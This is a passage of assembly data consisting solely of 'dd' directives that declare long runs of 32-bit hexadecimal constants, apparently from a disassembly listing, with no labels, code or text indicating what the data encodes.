		dd 0E8282CB7h, 0A285129Ch, 0BF570119h, 0F7A3CEFh, 0E9D0A02Ah
		dd 0DBDC1430h, 6DE77C3h, 3E68CEC4h, 0F424FB0Eh,	5D52875Ah
		dd 63A8B038h, 120DBE80h, 0E2C84749h, 7307F0Ah, 0D3871E1Eh
		dd 44681952h, 625A3942h, 7B9B4187h, 0FEF442ADh,	5E77F3A4h
		dd 6D77D1F1h, 0F35FC22Fh, 0AA5565DFh, 6F84EEE3h, 972FBDBh
		dd 0F03910D2h, 270FFE5Fh, 0AB860BC3h, 0BE2B55D5h, 59E0E1F5h
		dd 0A1605749h, 83688091h, 41BC0F5Ah, 0AB809DC5h, 0C4C610C1h
		dd 389D405h, 0F43E17CFh, 0DABBB8C8h, 0F7CBD525h, 52C0C64h
		dd 0F549B6A3h, 0EA592825h, 25E29788h, 30F6FEEFh, 9BEF8E9h
		dd 78CA40E6h, 840230Bh,	71254905h, 506FF057h, 0F8E9072Dh
		dd 0D1F99F10h, 0EB47DB25h, 12BDE4D5h, 0A8206168h, 88A5C45Dh
		dd 654EEA17h, 50210C3h,	0E6E6307h, 3AC08142h, 0DC787041h
		dd 0D3ADEC7h, 895A54EBh, 0B5F043E9h, 47F82125h,	0E9552815h
		dd 0EB15100h, 724B32F0h, 53A888BEh, 0D4B60CF4h,	9787027h
		dd 1E7477E1h, 16600180h, 0CC0048Eh, 61894F19h, 9EC35129h
		dd 92E90800h, 0EBA6B621h, 988496D5h, 5ACB24Fh, 0E06A26B8h
		dd 0A3BD1866h, 0FB00BA52h, 0B90E6D48h, 27258EC7h, 0A0F52928h
		dd 607DE9C6h, 8D70516Ah, 42EFEC2Ah, 7C021287h, 0C09F75BEh
		dd 0E949708Dh, 960E3E5Eh, 6285C955h, 0FFE00954h, 8277E129h
		dd 0EA31283h, 0C279E0F3h, 57F8706h, 90E4A57h, 246B10DDh
		dd 124BBA7Dh, 0D74055FCh, 29813071h, 0A9094B38h, 59DDFEF7h
		dd 2ED3A8A4h, 6FA3619Ah, 0C2D38824h, 109B2ACh, 0F680687Bh
		dd 641EC76Bh, 7B6AB371h, 0D34BEA7Dh, 0E90BDDADh, 0A7F23F8Fh
		dd 0C828641Eh, 0E8660E89h, 82031FBCh, 2DDD7062h, 906E0CCAh
		dd 0E9DE29D6h, 7FCD1D25h, 59BF01E4h, 2D3E40EDh,	0B49B3C27h
		dd 7AB1813Ch, 469641FBh, 8ADD40CAh, 0FA2B3FB2h,	0D334F407h
		dd 7E555010h, 53B38B6h,	49690753h, 7CAF829h, 279FE909h
		dd 0E51E5828h, 0A64BA0F9h, 76DE82F2h, 0F737483Ah, 4371324h
		dd 0DDC1AB4Dh, 76641FCCh, 197D0FD5h, 3465526Dh,	58A092D8h
		dd 0E8B4C3C1h, 4EBE2CB1h, 0EA4D184Bh, 47691456h, 0E304F76Fh
		dd 0AE1B4F6Bh, 4B08DC50h, 4880F629h, 760F7E0Dh,	0BFBCA1E9h
		dd 8782B526h, 55688473h, 2925E5E6h, 712AE0FBh, 2A3C5C5Bh
		dd 1C2E6B77h, 97863D5h,	0CD521D1Eh, 0A016B304h,	359B59F8h
		dd 45149CA8h, 129EFA6Dh, 3500F52Eh, 183D7CBFh, 6889972Bh
		dd 0F93C7168h, 56DD1ABDh, 14A08977h, 579797C6h,	3C6B1100h
		dd 8972995h, 0E250797h,	0CCA877BAh, 1518E996h, 0BCF314Dh
		dd 8B5E8EF6h, 9BF0A9h, 7A25D0F7h, 0E915B111h, 0A2E5FB2Ch
		dd 50575650h, 0E754E55Eh, 41FB393Ah, 4549E64h, 0B20FACEFh
		dd 84AA248Bh, 50B388F3h, 0D06320F2h, 0FB54C575h, 6DB3FF7Bh
		dd 5A7E0F47h, 0D104C1FEh, 0C6F8AFE5h, 0A4ECBAF1h, 0DC048256h
		dd 97FC2F48h, 0FB356C05h, 52E0FF67h, 1754E0A0h,	0FD976839h
		dd 5DEF80A7h, 4EC16EE0h, 636780EEh, 4805B808h, 555AD629h
		dd 0D07CFD0Bh, 55FEAAB1h, 0C755D4A9h, 0BED32D7Fh, 277849h
		dd 0F80BB53h, 0E38162D7h, 0E968FE0Bh, 65110518h, 4DDD8CBFh
		dd 408EE24Fh, 68CBFE05h, 0FC31EA7Ah, 0CCF051B4h, 0ACCA5AE9h
		dd 0F2AD4EFDh, 27E1778Ah, 0BF0E4557h, 21607AAFh, 152632BDh
		dd 0F908E4D0h, 38D82085h, 0FF5A34CFh, 974AC876h, 0E926E214h
		dd 60A5B4B4h, 81C76F47h, 7D10275Ch, 0F00AEC4Bh,	4B08F801h
		dd 54A028BAh, 9D21EF75h, 8F8C94Bh, 312667E7h, 0A5173FD6h
		dd 5B5662AAh, 0E9CB0B0Eh, 4928B9C7h, 7D805125h,	2A980EC9h
		dd 0F8404090h, 87C30980h, 0B784DBF6h, 0C4B0F842h, 5132FC0h
		dd 0B8CE011Ch, 7B019387h, 382C40B5h, 13A66C60h,	407FA2Fh
		dd 68A7272h, 228D2F7h, 17A01C6Dh, 0B2C1D587h, 7C01055Ch
		dd 8524751h, 3F7E0C83h,	0CDE0657Dh, 0FB30289Ah,	7A1B1861h
		dd 0C1484EA3h, 6F0ACBC7h, 0CE25B6E3h, 38D595C2h, 80F427C5h
		dd 0A1358BEh, 6AE06B3Fh, 776A0944h, 6C01D6F7h, 42747C01h
		dd 0A850E8B6h, 5D2CB905h, 0E701761Ah, 6F999EA3h, 156A424h
		dd 423C4BBEh, 740BE90Fh, 6ABD5B94h, 25C065C6h, 0A959015Eh
		dd 5E258978h, 2062BC5Fh, 5113BD15h, 94A92AB5h, 0EA882209h
		dd 0C23FE66Ch, 0CF3B7BBAh, 0B2106E28h, 0D3AF6809h, 7DA21981h
		dd 0EFA93F8Bh, 824BDB94h, 17C02F5Dh, 0DB02BB10h, 311AA402h
		dd 986E43CBh, 505217Dh,	7BE9562Fh, 9265E45h, 3EFD2DD5h
		dd 45C7D73h, 0CE31CBC9h, 682DC017h, 4F371D93h, 0DD4A035h
		dd 4E1C005h, 894841E2h,	80B56FBFh, 0BA8BC43Ah, 19590D80h
		dd 0F76AE970h, 455A2564h, 0DFE90418h, 54A782F1h, 5842035Ch
		dd 53EBD627h, 64F2F6E1h, 421E60DEh, 568C0135h, 2D6814C1h
		dd 9D566D64h, 0FD6B39CDh, 4EF950B5h, 0EDB3914Fh, 2D68F700h
		dd 6E712526h, 0E94A3E1Fh, 7567FE1Ch, 6812B71Eh,	9ED82D75h
		dd 0E908F756h, 904B6E25h, 0CB5155D1h, 8B5610AAh, 72580ACBh
		dd 5BAFEA26h, 0B9B70821h, 0CD315D04h, 0E287A9AAh, 12B2742Dh
		dd 0CDA0005Ah, 3171AC79h, 0E049C24Ah, 0C6D0A028h, 0E6E0E680h
		dd 6326FCEh, 0AD95E945h, 17CB165Fh, 25785CB2h, 0B1565CF3h
		dd 1DB0083Fh, 0BA040028h, 0FE02E0C0h, 0D0F6C80Fh, 0F6C27234h
		dd 0AA897DCDh, 0CA51F3F5h, 7E1A026Ch, 10782A68h, 840B0DDEh
		dd 62EF5636h, 0F50A4F33h, 0F1080A02h, 419EA20Dh, 0A9F60709h
		dd 1A74687Fh, 0B07F975Ch, 0EF88502Dh, 0E910207Fh, 79B5BA9Ah
		dd 74D38FB3h, 197B25CBh, 621FB039h, 1FBDED80h, 0C56C8651h
		dd 0AD5F601h, 0C905906h, 0D0E6C025h, 0F780E709h, 65DA5DC8h
		dd 0D4E9A01Dh, 572D7030h, 0E89F5E66h, 7CB150D7h, 7EBD3C70h
		dd 4E575A3Dh, 42CABEBFh, 115DEEB0h, 9E9C5557h, 0D1490426h
		dd 0A252BEEDh, 0F00612ECh, 0C01E07Fh, 8D80400Eh, 2EBEFBFEh
		dd 60582FE4h, 1C802676h, 41619083h, 3456B533h, 9A5D9802h
		dd 5B09E164h, 0B3E28705h, 32769F10h, 6A1B2201h,	2797E923h
		dd 58C3B589h, 295C6B66h, 0E8268494h, 4999AA16h,	0E5635730h
		dd 2D53DAFAh, 11F65168h, 4DB0CF96h, 276D90ACh, 39533AC8h
		dd 0EB0189h, 2EE9DF9Ch,	0B6689F64h, 58808E65h, 0D0F72E40h
		dd 47F2FC1h, 68A8161Eh,	6EAC107h, 43CDB181h, 63CC8C40h
		dd 1EB91CFCh, 14320366h, 0D7028841h, 90458E6h, 894305EAh
		dd 79D29DFAh, 1535FC09h, 0C14EC036h, 0DC7B14D3h, 0EA4AEAD7h
		dd 53328291h, 68138076h, 0F331BBD3h, 912B9FE9h,	6A593739h
		dd 5E954132h, 706F2EC9h, 2DA4F5DEh, 2D355EB7h, 34EE1857h
		dd 35C72E59h, 69081873h, 0D18313C0h, 397FD211h,	0ADE66EE9h
		dd 6B57BBD9h, 0E9A822E8h, 6413E631h, 22FC07B8h,	5F10B72Fh
		dd 6E043505h, 895D268Ch, 335E30C1h, 642BD92Ah, 0E24CAD42h
		dd 55A38013h, 4F316D3Ch, 0ACE885F7h, 1E06300Dh,	20E3A940h
		dd 9BF2966h, 904E8A2Ch,	6B478E39h, 0CE0C588Fh, 0F8FDE4F8h
		dd 10E009C2h, 28F56CFAh, 712D0805h, 0CE5D6B9Ch,	0BF1ED304h
		dd 0FB0C722Dh, 2A99846Dh, 861CE624h, 0E91B1601h, 0A250115Bh
		dd 7FD5C3EDh, 42509D0Fh, 0A1C5574Ah, 0CD0602B1h, 2507E6CAh
		dd 0B7DEBB6Ah, 85405210h
		dd 94F7F02h, 485FC9CFh,	92251405h, 965E5641h, 0F42FB859h
		dd 7CB70EEAh, 0B6524099h, 30EB7C8h, 0B5AF730h, 58C9E2FDh
		dd 0C549B814h, 0B74EE89Dh, 0D3267217h, 21880514h, 8D126E6h
		dd 31031318h, 105B5A02h, 6BCDBD40h, 38C97274h, 7475192Ch
		dd 0DDEEE504h, 540215Ah, 7C7A0FBEh, 0D496D61h, 5749DAF6h
		dd 0E958BAF1h, 279EB482h, 74952E78h, 5AD65856h,	0CBD05697h
		dd 5D2745D1h, 7D2F6B67h, 0F895E833h, 0DD5A2440h, 0EFE42h
		dd 912DD829h, 0F3427D2Dh, 0EA051732h, 0D0F62C52h, 6B258458h
		dd 0DD9ECE71h, 191CFE16h, 58022D50h, 2811EB80h,	1E065B5Fh
		dd 35946FF6h, 82BFB07Eh, 0B3E6DABh, 4BE6015Dh, 0B8610795h
		dd 6816F768h, 3E30AADFh, 2435B8BBh, 83AF292Ch, 0FF31E956h
		dd 795A4361h, 0D7D6E54Bh, 26076288h, 3951C1h, 2D3AD82Dh
		dd 0BAD01AB8h, 0A2904B20h, 6D667D14h, 9549A1FAh, 260B0501h
		dd 0BF824E0Eh, 877F0BBAh, 3DDDB35Eh, 9E527F60h,	45B16F0h
		dd 0ABEB8829h, 0ECA20767h, 0EEA45222h, 89145A72h, 0BF2730C4h
		dd 0CFAC625Bh, 0DD3BA415h, 1BBEA85Ah, 0E245330Ch, 0AC9AD1D0h
		dd 22F14644h, 291C7F95h, 633AE916h, 682760AEh, 2BA1355Ah
		dd 0C59E0745h, 0AE4004E2h, 5F5327EBh, 3AFA9D4Fh, 0C5E0883h
		dd 386377F1h, 0FE7DEE5Eh, 308D4B2Fh, 0E448DE10h, 7C40DD82h
		dd 6928FBBAh, 9B20B521h, 7155500Ch, 0CC6D5AAAh,	1D4BA7DEh
		dd 12CE42A4h, 30B185Dh,	0EF53D0ACh, 0F3BB9DDh, 41FDB5C1h
		dd 3FD668F1h, 51258F33h, 4225055Ch, 0A4DB020Bh,	0C05D05BBh
		dd 0F8170472h, 0C5EE4DE4h, 4151B209h, 797ABE8h,	0D2D27F95h
		dd 31C4F576h, 0C32A21ECh, 8D84DC43h, 0E9E2619Bh, 155FDEA9h
		dd 6BC4DA5Dh, 0F21C4C11h, 0AE62B5EEh, 98BC5D5h,	0CED5BB53h
		dd 7C45B56Ah, 0FE7F09CBh, 79342788h, 52C6DE97h,	10DA261h
		dd 3081CD21h, 62BBAEEDh, 54E12B92h, 8329EE2Fh, 0C5098FD2h
		dd 8DBBBD95h, 0D742E4FAh, 40BF5695h, 169F068h, 0F45D0628h
		dd 52284F1Fh, 64E5E956h, 0C51A816Fh, 5ACAE370h,	577A247Eh
		dd 0E252F5Ah, 0F81802E3h, 961A565Fh, 0AC8C450Bh, 0C6D1BF30h
		dd 0E96EC7DEh, 2C15C523h, 42C88AFAh, 5F292512h,	63B29664h
		dd 0B00BB200h, 0E9D02897h, 0E7F24F93h, 0DA680BAEh, 1CD9B00Eh
		dd 79FE48F7h, 0F5F23DC5h, 74A30C27h, 0ED4D0664h, 7E14F1AFh
		dd 0F50435CBh, 0D3C394E9h, 6AB9F759h, 0AD17042Bh, 0BEB384FFh
		dd 60EC55F4h, 2CF65948h, 22971CB6h, 0D40F52h, 503685Bh
		dd 0C8622694h, 0E4E90137h, 88E26A1Ch, 60F6FCE4h, 4BABCADBh
		dd 300D482Eh, 5F2DCB5Ch, 0FF6E2256h, 36C51C52h,	26BC2CBBh
		dd 0B7BE2F40h, 81095EF4h, 6F077C44h, 177C6C09h,	0DCD8E961h
		dd 3CF1B27Ah, 0A9909352h, 588FB7E8h, 0BBFC1837h, 7E24CDE6h
		dd 0CE017108h, 64EF44B5h, 1359F060h, 0A8C883DAh, 5641764Fh
		dd 55793320h, 0A101BD89h, 5301BD36h, 0DE5C88B3h, 0BA66031Eh
		dd 0A5A65D5Ch, 37FC041Eh, 2E2477E5h, 1E23FD88h,	2891DEEh
		dd 4C27F34h, 0DEE90807h, 77CFE4Bh, 126F22CCh, 0AD701E1Ah
		dd 60084188h, 4282ED98h, 0A750F5FBh, 77345E7Ch,	78ED9B1Fh
		dd 9869AD17h, 0B920E90Ah, 49B22403h, 685A0271h,	527E1F69h
		dd 2737162h, 0F62C42Ch,	0C781396Bh, 97DBC980h, 2B000606h
		dd 0E9509BF7h, 0C6FD697Ch, 9AFEB3ECh, 2AD65582h, 93EA30E3h
		dd 0AC085AD5h, 10E790B3h, 5F2583D6h, 205FC4DFh,	0B62F7C14h
		dd 27474E0h, 70C3805Ah,	82856DE1h, 87E97A06h, 0CB7D38Bh
		dd 839AFA70h, 8101C200h, 0C1CEAE2h, 9E6B078h, 151D5B55h
		dd 68A46857h, 9F617075h, 957C4FDCh, 0D42FA5F9h,	7C1B0B9Bh
		dd 569066EEh, 2EC2B138h, 871B43C8h, 6FACDD22h, 48E09710h
		dd 32BE040Fh, 559505FBh, 613BFh, 8B18CA64h, 0D8B54D40h
		dd 2748EC40h, 58D44EEDh, 1015E10Bh, 7D24CA4Fh, 0F44D637Ch
		dd 1BDA7493h, 7C2C52F7h, 0C34F2519h, 17006A09h,	5BDA315Eh
		dd 44BB014Fh, 0EBB1F5ABh, 44FB9534h, 17BC8161h,	3D42CCFBh
		dd 664EFD5Eh, 75E51C34h, 510F8545h, 32BCF3B5h, 28B72A61h
		dd 59E147D3h, 0C50E5D5h, 0EE2AB652h, 46E91112h,	0FF2594E1h
		dd 0EA62B501h, 0C1829C47h, 0DDAE8B58h, 5260B1E5h, 162C7BB2h
		dd 0ADDBE972h, 59C81F8Ch, 0CF93565Eh, 9C3E4E4h,	1A971544h
		dd 5853784h, 0EA215Eh, 0F352EDC6h, 0C7FEF8A5h, 14E50C5Bh
		dd 4F6F8E20h, 2EDDE829h, 0AF207945h, 3DC5417Dh,	3AED50E9h
		dd 967FF101h, 2189DF65h, 0EDF00097h, 0B12E0603h, 0EF027221h
		dd 0DF63906Ah, 5D8B220h, 453A277Fh, 2BFCE43h, 0E2B0E922h
		dd 7B7B1D9h, 7CB30DC2h,	27F982C4h, 0D67D1DD7h, 0C6FD5A2Eh
		dd 0B8251CC4h, 0EEE961FFh, 44F0135Dh, 0F78A00A6h, 363B3337h
		dd 8997D1A1h, 0F5116844h, 2FC2F028h, 0C95B3279h, 924827BCh
		dd 0E45E0593h, 17CF299Ah, 0BEF216DBh, 74B828h, 56320C09h
		dd 212859BEh, 41BE635Bh, 7C58FCA6h, 90FE75B3h, 553B2C62h
		dd 0C589A225h, 7F4A1E02h, 0BFE14777h, 0A3E64F92h, 3FA21093h
		dd 489BF24Fh, 52AA27B7h, 8A50209Fh, 0F7F38107h,	0FE2D9F0Ch
		dd 0E96F473Eh, 97754984h, 6B5CB2F5h, 2AC52103h,	58FC57AEh
		dd 0EB96495Fh, 0A3E24CC7h, 262A592Eh, 2E7D10A3h, 253CD080h
		dd 0D78C62B7h, 0B03DDC30h, 272B67B5h, 5FF883DCh, 3BF02568h
		dd 0FE639A7Ch, 0E2819423h, 6B401833h, 0C40339A7h, 0B4CFC6Eh
		dd 72165D5Eh, 0D84E5D0Bh, 0EAA4FF06h, 0EB4DD585h, 0CC16D7CAh
		dd 364629F3h, 2DF95FAFh, 0CC96D817h, 21D2280Dh,	482B74B4h
		dd 0E05C4166h, 72290741h, 0FE2F8E13h, 7B460261h, 9DB4E92Eh
		dd 2D3213BEh, 74700A27h, 12530AF3h, 0A37D1668h,	0C69013F3h
		dd 0BDD4D8BEh, 0F77AFB09h, 0B9710070h, 0C011503Ah, 8EA9020Ch
		dd 729601D0h, 0CA0744A4h, 0E9923122h, 753650DDh, 0D0751EBAh
		dd 406F964Ch, 3EC0BBECh, 1EF4179Ah, 5D4BA8BAh, 0AC9222C7h
		dd 78C4A96Eh, 0A0095E25h, 62B5A847h, 76157F18h,	85105127h
		dd 13E7AAE9h, 0D0735FC8h, 0B43B48DDh, 4FE9C2A4h, 0A3E88406h
		dd 0C9FFD711h, 48A82E21h, 0B29F8F30h, 9B0D02Eh,	5ACACA48h
		dd 4B356C17h, 8637F304h, 0A1CF131Fh, 3531601Bh,	0AF1DC7ECh
		dd 0E4A8124Ah, 0D2034109h, 9301071Ch, 0FC5FA663h, 0EC6904F0h
		dd 0A12B5940h, 630FD54Ch, 1417343Fh, 0FE7739DAh, 563D60D3h
		dd 26EC38DEh, 4E7C116h,	1E7A51C6h, 687F5711h, 689F0AE1h
		dd 0F04324h, 0E6CFA3D0h, 5D0CEF31h, 0B25064E9h,	104C0525h
		dd 0ED560967h, 62FE80ACh, 45E96DDBh, 4B20B9Eh, 884AF180h
		dd 0E9D442EBh, 0F1CC1FAEh, 0AEF5682Ah, 755BF2FCh, 413FA6B4h
		dd 4D7541A5h, 0AD359CC3h, 0F5D8318Bh, 0B4802316h, 0D5828206h
		dd 4025F5E1h, 50778CFh,	8723320Bh, 6B8AE806h, 963B9240h
		dd 8F83A432h, 2DBC9268h, 7048BA75h, 0E0E62FEDh,	0D4975D46h
		dd 26124337h, 51F3EE84h, 80DEBA4Bh, 759BBE00h, 0EEC1694Eh
		dd 0E6030550h, 0F9810888h, 4284EA2Ch, 48875DF9h, 7F29EC7Ah
		dd 4F50A80h, 529F7151h,	0C8BB2086h, 0C087B806h,	1C4AA534h
		dd 6D194F7Dh, 8A091FEh,	0BC15B9Fh, 6C005EF7h, 0D0D7DF4Ch
		dd 0DEC7312Dh, 872DC215h, 42FC98F7h, 5A467B0Dh,	0B73BB821h
		dd 1F83E760h, 4F68487Ch, 0F3F99B05h, 0AB04BFDEh, 0B813DA5Ah
		dd 0F7E30231h, 761F461Eh, 0C0E075Eh, 0B9517004h, 71F8727Eh
		dd 4912C9F8h, 0EFBB70h
		dd 4876ABBAh, 0D95C3143h, 59CA137Ah, 9B81C2Ch, 176D1640h
		dd 50031002h, 8C79E5D5h, 58E4149h, 3505BBA4h, 0AAD671F1h
		dd 8E1360C5h, 0EB3ABEF1h, 9FC6833Ch, 0BA203BFEh, 304AFC9Fh
		dd 0A6185F0Ch, 0B40A5D4Bh, 680908C6h, 0E98B601Eh, 0A109B796h
		dd 273C737Dh, 0EC27A495h, 5BE14DA2h, 924FA35Fh,	72FD6304h
		dd 0B4506600h, 0E77630CAh, 5C0583Ah, 22A26803h,	5CB18B8Ch
		dd 6F319925h, 0E09CBF34h, 9BF41492h, 7725D39Ch,	0D795D3EEh
		dd 432206A0h, 5012937h,	1FDB67BEh, 123E5DE9h, 9367F98Ch
		dd 65E88841h, 0BA2B6743h, 0F2083435h, 3DD233A3h, 3EC40CD9h
		dd 41CEBBF4h, 45C12EBEh, 0C20727BDh, 0F754DA21h, 0F749C849h
		dd 3C0C2E20h, 2AE71811h, 0A4BC5854h, 99D1E4EFh,	43852ABh
		dd 0AB01B71Eh, 638F3FB2h, 5C8EBBB7h, 0F570B45Eh, 0D560B9AAh
		dd 96C7FC7Fh, 675ECA80h, 7F09E2EAh, 4A7C388Bh, 5E65E958h
		dd 869BBDCBh, 3C231E0Ch, 4714C8AFh, 0D3818F2Eh,	0A745B201h
		dd 0A043F20Ch, 583029A9h, 0E71CC723h, 15D52F0Ch, 0B6923137h
		dd 0C8EC2AAAh, 523A02B2h, 6BB20EBEh, 0C3855253h, 28EF8088h
		dd 76B45BD8h, 0FEE2CE0Bh, 17F462AEh, 0E6045205h, 0AF139A65h
		dd 4F1EE1E2h, 9B8297Bh,	0A2D8D936h, 19FD858h, 7EFB490Bh
		dd 0C3ED029h, 56565362h, 0CA667695h, 0E81912B2h, 0C988F131h
		dd 0B9EAF853h, 8C6E4ACAh, 11C05AAEh, 1383EF81h,	26127B40h
		dd 80B72FEBh, 6FA81109h, 279E4431h, 0C360296h, 67B3F607h
		dd 0B98FE1DCh, 81AAE67Dh, 5307E7E4h, 0E600D8C3h, 0A5CA46BBh
		dd 12C1819Bh, 4F8760Fh,	5CE4C8h, 1853B6BBh, 0BA2CF433h
		dd 70FBF444h, 9B82589Bh, 2D4D5B24h, 17668DAh, 0CC8BE919h
		dd 0AC6E6CCFh, 17579F76h, 0F0917F85h, 29936B04h, 1084BBC7h
		dd 22EB8113h, 0BF7648Fh, 9C6F4CABh, 0D9342AAh, 0A25996FDh
		dd 0BFFBF084h, 8458605Ch, 0C177826Eh, 806A5675h, 4DBF0FA4h
		dd 0F35C3AFEh, 9AAF63Eh, 4CB11D7Fh, 7BE45803h, 0FB014D98h
		dd 8825A90h, 0BD05165Fh, 5D27C4F1h, 68217CC8h, 6C00F9BAh
		dd 8008E2C0h, 9188B8F2h, 0F7E909D9h, 5A60BCF0h,	134995CCh
		dd 7BB051Ah, 0C602945Bh, 0FF9459D3h, 948BE08h, 36DDE589h
		dd 0BA0907Bh, 0B884714h, 6411D780h, 0DA95213Dh,	580881CBh
		dd 8960F5E5h, 60707EF1h, 0D623FA61h, 2928A9C2h,	0E40F9DDh
		dd 1AA32568h, 48920999h, 28D6E2D1h, 15C22AD0h, 0FDDB2D43h
		dd 16F586C3h, 0D732D392h, 11F72706h, 150B208h, 0BBB85FF9h
		dd 3FE5DAF0h, 0F6F8BCB4h, 1C470921h, 0FBD534FFh, 0ED764B51h
		dd 0B77AE978h, 844E6C2Dh, 201F48DEh, 40CAFDBAh,	446BE908h
		dd 83BAD4C3h, 78143D3Bh, 1A8EEAB0h, 17FF50Dh, 802E2F2h
		dd 42CC5F5Eh, 0F1200D27h, 41B2C72Ah, 3001C280h,	0CCFC1DDh
		dd 7E22334h, 0B0AF9DC0h, 99D5E49h, 711EDC66h, 48746205h
		dd 0B0D63288h, 4871FF58h, 847FC863h, 199B8227h,	0BB824B59h
		dd 0C16C57E5h, 7EFA3F93h, 0E6096299h, 652FA30Ah, 267F88E1h
		dd 0CC3A5F2Dh, 0FC765485h, 68BF4A3Ch, 8025E9C6h, 2600C411h
		dd 1F3A30C2h, 63D24950h, 58BE5FF4h, 605D7A02h, 0AC6834FBh
		dd 607B75E3h, 70591BB2h, 0D6964CA9h, 5D468E42h,	239ECCA2h
		dd 0B883F11Bh, 2E2ADD3Bh, 68C20CF3h, 53550136h,	2D64A4A8h
		dd 0BA957950h, 0D73C40B0h, 65870573h, 0F416A6E9h, 7906EA91h
		dd 0EEBA4CCFh, 314A0Bh,	3C88EF41h, 0D29F2754h, 8508829Eh
		dd 0BA53D6A3h, 487103AEh, 0AFC8660Dh, 0E03DD16Dh, 35018083h
		dd 0DB7E6FDAh, 0E7C74B89h, 0E6401706h, 1292D9FDh, 0EAF1AF0Fh
		dd 0FF2A0D21h, 7525F65Fh, 0F1E90260h, 5A0AD8BAh, 8410D768h
		dd 0AD510069h, 66CE5Fh,	0C1E78147h, 4F4E7A53h, 164CECC1h
		dd 0E9F4100Ch, 5EB473BCh, 2E44EDB0h, 0BA80E72Ch, 51274388h
		dd 46F20481h, 0EA376013h, 0E2C03137h, 5B77203Ch, 0BB35C535h
		dd 3EC4E75Eh, 80BB1939h, 0A1D5E96Ah, 0A184A99Ah, 92638B0Bh
		dd 157CC04Ch, 9EB99E0Ah, 2C6689CCh, 681E40D0h, 0D2EB25Eh
		dd 0A2053302h, 2F0A62F0h, 9693DD99h, 74FEBCB1h,	46C43105h
		dd 3F883B68h, 0DBC95C0Bh, 6AE3022Dh, 2EFD03F2h,	269128FDh
		dd 7ECE0852h, 98D5200Ch, 50BA01B7h, 0C480D1B4h,	3CC821F3h
		dd 86CB7081h, 0C260E8FAh, 0A22C1241h, 2330027Ch, 28E17FAEh
		dd 73583F78h, 2DBB2B0Ch, 0CD782936h, 585B0880h,	0C75362B6h
		dd 75F6D2CBh, 8D169CEh,	78BF8000h, 6816F379h, 66A3380Ah
		dd 0F427FF05h, 0FDC2AF1Ah, 999040E5h, 0D0EBDE28h, 5A317A2Fh
		dd 1230152Dh, 12C78A2Ah, 0CF21DC8Ah, 17966A53h,	7A2BC99Eh
		dd 3448EBECh, 0F713BB5Eh, 0A871B6E0h, 1E85BBA8h, 922ACE2Fh
		dd 0AFF684D7h, 0E98519F3h, 804094F9h, 3525517Fh, 0F3814E0Eh
		dd 60788479h, 4485A4EEh, 726B5916h, 0BE4F12AFh,	0CA20898Bh
		dd 37F78000h, 0B050C7FEh, 7DD9DEDh, 7DDB5562h, 0E9DB6EE0h
		dd 56F2AB27h, 2CB622Ch,	0E3094644h, 28E16Fh, 0B94226A1h
		dd 0F0E92549h, 0D8A6E00Eh, 569FB8D3h, 72755282h, 0D9E912C5h
		dd 4EF5E232h, 0D41268F2h, 13AFB341h, 37AF6F57h,	619192F0h
		dd 0BA0FAB66h, 82F96480h, 5DDEDCE9h, 0DF27AAD3h, 565BFE16h
		dd 0C8A3205h, 19CA151Eh, 0E68794F5h, 237C044h, 568DAFB2h
		dd 0A5AD956Ah, 4B83B801h, 21507E92h, 0AAEC6A57h, 0BD5D7D05h
		dd 4010AF02h, 20684807h, 0D0E78025h, 718C3B3Fh,	90F73D67h
		dd 0F8E94B93h, 6D41325Eh, 716514BBh, 0EBADE46Fh, 2A1C0858h
		dd 2134EA24h, 48C02D3Bh, 5A49F464h, 2EAAF109h, 8E60842Fh
		dd 47C403B7h, 0CB814301h, 35E74430h, 16468660h,	887971Eh
		dd 280140h, 0F97A0D0Bh,	6554AE6Ch, 0A1205E8h, 7F036B09h
		dd 5C65C465h, 4EDAF7FEh, 0C2FFEDD4h, 5712A76Fh,	16B7D0F2h
		dd 56932F42h, 6D842092h, 0EE02EBBEh, 75FEEA14h,	6C52B3D4h
		dd 0E201F5CEh, 3C903369h, 28639356h, 0DB1146A3h, 99BA0410h
		dd 7D81BF7Bh, 5803CCB2h, 53A0D004h, 50FE091Dh, 5B060890h
		dd 0B33B7968h, 0A25BB33h, 2E6825ADh, 0C856D989h, 25D1E9F8h
		dd 4BDCFEEFh, 951EE978h, 0D1282781h, 0E9CACD5Ah, 5DC6642Bh
		dd 0D96DEEB0h, 0C5F95241h, 8712F83Ch, 0ACE0FBFAh, 217FBEBEh
		dd 0AF8AC2B5h, 92CD8001h, 873AF5CDh, 0FE160C27h, 4451CC32h
		dd 728B5518h, 705214FDh, 0E37D4E68h, 40FF1531h,	709416C9h
		dd 8F8ACAA2h, 0F26088D0h, 40D6F60Eh, 80CEFEDEh,	6B765EEh
		dd 422785A7h, 0F1885953h, 4D2D5D5Ah, 0B57B4C2Bh, 75C9245Eh
		dd 6E84B6C2h, 1CCFC3F6h, 585D1FBCh, 0A297A4C9h,	8BD16A6Eh
		dd 9163968Eh, 32EB00C8h, 9FC9EF7h, 6EAD5581h, 3E9594F8h
		dd 154491A5h, 3331A084h, 6ADEC3C5h, 6C46D141h, 0FEEC3207h
		dd 1E99C8A8h, 4CB2989h,	32EDCC88h, 0EAA08C8Bh, 0AD59AA68h
		dd 2B13464Eh, 0D3FFF6EBh, 18EA45E0h, 0DA0C067Bh, 0C62609F9h
		dd 93031579h, 47F5519h,	0E62AE50Ch, 0D6178013h,	0B1091F4Dh
		dd 0D493D2E9h, 650A6097h, 0D4BD0548h, 0EDD6C97Fh, 859C2D03h
		dd 0A4ABCD23h, 5C950243h, 90C05AECh, 909C1714h,	0AA52E44Ch
		dd 0EB534092h, 345F0155h, 2117D0BEh, 2F843ED9h,	7AD7C9AFh
		dd 0BB814EF9h, 2B0D806Dh, 0B8407DF3h, 0F51007Eh, 2EE68163h
		dd 1F76F03Ch, 102AEE1Ch, 12BA0312h, 0B487FCC3h,	555FD8FBh
		dd 5E4224Ah, 32B614CBh,	2613CEA8h, 0EC2B5784h, 0C61F1280h
		dd 548B0FA3h, 0E9864771h
		dd 0BD2ABB80h, 0E60C4953h, 9C641AAh, 10396C51h,	88D2875h
		dd 0E6C15D05h, 0C0CB2B87h, 4A0FEC4h, 59E9D19Ah,	0BFBD0A96h
		dd 0B3C5D549h, 1620EE08h, 74D095Fh, 0A75B27E9h,	0AF080010h
		dd 0F30AB030h, 0E812E70h, 841108CFh, 0E05D4F09h, 151A59h
		dd 0BD553F4Dh, 1E96492Ah, 0CA4389B7h, 0DE0B0867h, 1C8BDF04h
		dd 0D94BE3FFh, 0FE3B5C0Dh, 0CF901721h, 4CC08E20h, 1F1057EDh
		dd 5CF64E30h, 0BF59CD17h, 276818CCh, 4BE91A82h,	7F44A5F9h
